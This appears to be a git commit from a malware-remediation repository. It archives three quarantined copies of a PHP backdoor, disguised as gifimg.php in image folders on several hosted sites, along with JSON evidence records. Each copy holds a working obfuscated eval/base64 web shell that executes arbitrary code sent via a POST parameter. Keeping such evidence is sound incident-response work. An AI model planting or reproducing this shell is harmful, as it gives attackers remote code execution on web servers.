cadline_web/malware_remediation
11
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

quarantine: family=eval-backdoor (3 fájl)

Browse Source 
vhost: partners.archlinexp.com
rel_path: system/scaffolding/images/gifimg.php
result: quarantined
evidence_sha256: d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde
timestamp: 20260718T160424Z
finding_ref: 5427

vhost: www.cadline.hu
rel_path: public/mysqldumper/images/gifimg.php
result: quarantined
evidence_sha256: d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde
timestamp: 20260718T160424Z
finding_ref: 5648

vhost: www.cadline.hu
rel_path: system/scaffolding/images/gifimg.php
result: quarantined
evidence_sha256: d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde
timestamp: 20260718T160424Z
finding_ref: 5561
This commit is contained in:
imrcli-remediator 2026-07-18 18:04:24 +02:00
parent 2982fc6254
commit 4269e4713d
6 changed files with 48 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
var/www/hosting/archlinexp.com/partners/system/scaffolding/images/gifimg.php Normal file
View File

@ -0,0 +1 @@
<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

15
var/www/hosting/archlinexp.com/partners/system/scaffolding/images/gifimg.php.evidence.json Normal file
View File

@ -0,0 +1,15 @@
{
"finding_ref": "5427",
"log_excerpt": "[quarantine] partners.archlinexp.com:system/scaffolding/images/gifimg.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archlinexp.com/partners/system/scaffolding/images/gifimg.php)",
"original_sha256": "d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde",
"original_stat": {
"gid": 30037,
"mtime": 1396359178,
"size": 109,
"uid": 11669
},
"rel_path": "system/scaffolding/images/gifimg.php",
"result": "quarantined",
"timestamp": "20260718T160424Z",
"vhost": "partners.archlinexp.com"
}

1
var/www/hosting/cadline.hu/www/public/mysqldumper/images/gifimg.php Normal file
View File

@ -0,0 +1 @@
<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

15
var/www/hosting/cadline.hu/www/public/mysqldumper/images/gifimg.php.evidence.json Normal file
View File

@ -0,0 +1,15 @@
{
"finding_ref": "5648",
"log_excerpt": "[quarantine] www.cadline.hu:public/mysqldumper/images/gifimg.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/public/mysqldumper/images/gifimg.php)",
"original_sha256": "d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde",
"original_stat": {
"gid": 30037,
"mtime": 1242504763,
"size": 109,
"uid": 11669
},
"rel_path": "public/mysqldumper/images/gifimg.php",
"result": "quarantined",
"timestamp": "20260718T160424Z",
"vhost": "www.cadline.hu"
}

1
var/www/hosting/cadline.hu/www/system/scaffolding/images/gifimg.php Normal file
View File

@ -0,0 +1 @@
<?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?>

15
var/www/hosting/cadline.hu/www/system/scaffolding/images/gifimg.php.evidence.json Normal file
View File

@ -0,0 +1,15 @@
{
"finding_ref": "5561",
"log_excerpt": "[quarantine] www.cadline.hu:system/scaffolding/images/gifimg.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/cadline.hu/www/system/scaffolding/images/gifimg.php)",
"original_sha256": "d4589fe08c02205df01c3176bd1b5c4729926aae6afe0231e936e3aee7729cde",
"original_stat": {
"gid": 30037,
"mtime": 1396359178,
"size": 109,
"uid": 11669
},
"rel_path": "system/scaffolding/images/gifimg.php",
"result": "quarantined",
"timestamp": "20260718T160424Z",
"vhost": "www.cadline.hu"
}